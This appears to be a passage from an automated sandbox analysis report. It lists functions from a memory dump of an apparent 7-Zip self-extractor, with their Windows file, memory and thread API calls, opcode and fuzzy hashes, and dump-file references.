API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 0041821D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 00418381

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402815
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402839

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
Opcode Fuzzy Hash: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 00412276

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 004013A4

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00000000,?,?,?,?,?,?,00401AD3,?), ref: 004015F7

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060), ref: 00412927

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction ID: 1b5e1ee4d6878524e1e94f3eb7038bf21a854c21e9593a8af651c0b03c199f54
Opcode Fuzzy Hash: ac816b6ef2abf4182fe3fab88150d6e7fb7849f17cb6b15ec7980f19aa18face
Instruction Fuzzy Hash: FED0A9312082203AEA5862320C119AF08884F40329B008C3FB802E62D1DE3ECE81429E

Function 0041229A Relevance: 1.3, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction ID: 2edd4d7db1caf844859ff0a1764f07c4c63b16d89aef5b3dab10146b982c9a76
Opcode Fuzzy Hash: bf632d426777a13286a7d214fabf0ee7930240e4f00ef32643c6c823c72a12ea
Instruction Fuzzy Hash: 4DD01231604161468E745E3C7A445D637D85A06370321079BF4B5C32E1D3B58CD35A98

Function 00402A2F Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,004133A4,?,?,?,0040C03F,?), ref: 00402A4B

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction ID: 5872fe86412dcdd468f52b7ecb5979782df8fbe157f8593837c634c381a8cb4c
Opcode Fuzzy Hash: d52152f8240d310394afd4d808f8c2102ad5bdb202a27d84af0ad2d18dcc3f18
Instruction Fuzzy Hash: 5FC08C703483007AEE211B748F0BB4B3653AF84B16F90C029F348B40E0CBF58410AA0A

Function 00412240 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00004B38), ref: 00412245

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384040841.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3384135474.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_4802836d37.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction ID: 3495fa19a298e49cc2800c4131356790e1569378de7ddbf050defd7ea7821dd7
Opcode Fuzzy Hash: 60ec2abcf5a6396ef8d7bbb53f790590f8d628139c26fe78cb856bdba3517ae4
Instruction Fuzzy Hash: 40B012E474010671AE4420721F132EF20C007D1385F0408B7AA07E42C2FEDCCAE5912F

Function 00401FF0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00413333,00000000,?,0041339B,?,?,0040C03F,?), ref: 00402002

Memory Dump Source

Source File: 00000008.00000002.3383786075.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.3383500912.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.3383929276.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
